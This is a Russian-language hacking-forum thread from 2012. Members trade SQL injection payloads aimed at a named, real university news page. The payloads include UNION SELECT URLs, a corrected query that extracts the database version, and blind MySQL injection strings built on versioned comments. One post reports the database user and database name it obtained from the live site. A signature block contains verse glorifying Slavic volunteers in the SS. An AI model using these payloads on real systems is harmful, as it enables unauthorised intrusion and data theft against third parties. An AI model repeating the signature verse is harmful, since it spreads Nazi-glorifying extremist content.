22.06.2012, 16:45
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
Сообщение от Jorge_
Конечно же, залить полноценный шелл.
ну так в чем проблема то? в отключенных я не вижу фун-ии eval
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
22.06.2012, 21:02
|
|
Новичок
Регистрация: 01.12.2008
Сообщений: 26
С нами:
9180250
Репутация:
10
|
|
http://www.umoncton.ca/nouvelles/info.php?id=8297-2
http://www.umoncton.ca/nouvelles/info.php?id=8297+union+select+1,2,3,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37,38,39
Здесь была классическая sql-inj , но некоторое время назад произошли какие-то изменения и скуля не работает как раньше. Не могу въехать что конкретно за изменения произошли. Кто может разобраться в чем дело? Ну и конечно как это дело обойти?
|
|
|
|
22.06.2012, 22:16
|
|
Познающий
Регистрация: 02.06.2012
Сообщений: 33
С нами:
7339286
Репутация:
0
|
|
Собственно нид хелп...
Кручу один сайтец.
Собственно там mysql blind
Вот такими запросами вытащил имя базы/имя юзверя.
3183' /*!30000and ascii(substring((database()),7,1))=97 and*/ 'x'='x
А теперь вопрос:
3183' /*!30000and Length((select distinct schema_name from `information_schema`.schemata limit 0,1))
|
|
|
|
22.06.2012, 23:29
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами:
8814194
Репутация:
0
|
|
to RuDefc0n
[CODE]
length(select schema_name from information_schema.schemata limit 0,1)
|
|
|
|
22.06.2012, 23:40
|
|
Познающий
Регистрация: 02.06.2012
Сообщений: 33
С нами:
7339286
Репутация:
0
|
|
[QUOTE="cat1vo"]
to
RuDefc0n
[CODE]
length(select schema_name from information_schema.schemata limit 0,1)
|
|
|
|
23.06.2012, 00:08
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами:
8814194
Репутация:
0
|
|
to Dr.Strangelove
Все отлично работает -
Version: 5.5.20
User: php_read@
Database: nouvelles
|
|
|
|
23.06.2012, 01:43
|
|
Постоянный
Регистрация: 16.10.2011
Сообщений: 326
С нами:
7670486
Репутация:
76
|
|
[QUOTE="RuDefc0n"]
Собственно нид хелп...
Кручу один сайтец.
Собственно там mysql blind
Вот такими запросами вытащил имя базы/имя юзверя.
3183' /*!30000and ascii(substring((database()),7,1))=97 and*/ 'x'='x
А теперь вопрос:
3183' /*!30000and Length((select distinct schema_name from `information_schema`.schemata limit 0,1))
|
|
|
|
23.06.2012, 01:49
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами:
8814194
Репутация:
0
|
|
to Га-Ноцри
Там версия 5.0.92, только вот у пользователя нет доступа к information_schema, в этом то вся и загвоздка была!
|
|
|
|
23.06.2012, 01:52
|
|
Постоянный
Регистрация: 16.10.2011
Сообщений: 326
С нами:
7670486
Репутация:
76
|
|
Сообщение от cat1vo
to
Га-Ноцри
Там версия 5.0.92, только вот у пользователя нет доступа к information_schema, в этом то вся и загвоздка была!
Ясно Ну я так, на всякий случай спросил Просто иногда бывает тяжело искать темную кошку в темной комнате, особенно если ее там нет
|
|
|
|
23.06.2012, 02:22
|
|
Banned
Регистрация: 05.05.2009
Сообщений: 1,334
С нами:
8957186
Репутация:
796
|
|
Сообщение от Dr.Strangelove
http://www.umoncton.ca/nouvelles/info.php?id=8297-2
http://www.umoncton.ca/nouvelles/info.php?id=8297+union+select+1,2,3,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37,38,39
Здесь была классическая sql-inj , но некоторое время назад произошли какие-то изменения и скуля не работает как раньше. Не могу въехать
что конкретно
за изменения произошли. Кто может разобраться в чем дело? Ну и конечно как это дело обойти?
а.)запрос не зафолсен
б.)комментарий не поставлен
синтаксически верный запрос
Код:
http://www.umoncton.ca/nouvelles/info.php?id=8297+and+0+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39%23
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
